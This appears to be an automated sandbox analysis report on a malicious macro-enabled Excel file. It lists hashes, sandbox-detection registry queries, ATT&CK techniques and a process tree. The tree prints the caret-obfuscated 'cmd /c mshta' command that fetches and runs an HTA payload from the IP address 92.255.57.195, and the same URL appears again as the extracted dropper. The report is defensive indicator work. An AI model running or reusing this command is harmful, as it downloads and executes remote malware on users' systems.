c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653

General

Target

c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653.xlsm
Size

112KB
MD5

dddf271fd51afb200416bb9899e8d58a
SHA1

8b8f1333737bee662cb2e93b76e94b274afa067b
SHA256

c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653
SHA512

8425a90236dad6ae102f90e9a63e38ae2d83a36a5671aecbc550b38647481ce485663b1c574202a30ee762bcc531dd5ab81dc958e9607896ddfedd73481cec08

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3016	2796	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

40 1908 mshta.exe

flow	pid	process
40	1908	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2796 EXCEL.EXE

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2796 wrote to memory of 3016	2796	EXCEL.EXE	cmd.exe
PID 2796 wrote to memory of 3016	2796	EXCEL.EXE	cmd.exe
PID 3016 wrote to memory of 1908	3016	cmd.exe	mshta.exe
PID 3016 wrote to memory of 1908	3016	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c852ae2ba337c41a7ce54bbf6eaafbc8d089229c71b854049014e5e3fc09f653.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3016

C:\Windows\system32\mshta.exe
mshta http://92.255.57.195/ru/ru.html
3⤵
- Blocklisted process makes network request
PID:1908

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2796-115-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp

Filesize
64KB

Download
memory/2796-116-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp

Filesize
64KB

Download
memory/2796-117-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp

Filesize
64KB

Download
memory/2796-118-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp

Filesize
64KB

Download
memory/2796-121-0x00007FFDFC560000-0x00007FFDFC570000-memory.dmp

Filesize
64KB

Download
memory/2796-128-0x00007FFDF89F0000-0x00007FFDF8A00000-memory.dmp

Filesize
64KB

Download
memory/2796-129-0x00007FFDF89F0000-0x00007FFDF8A00000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads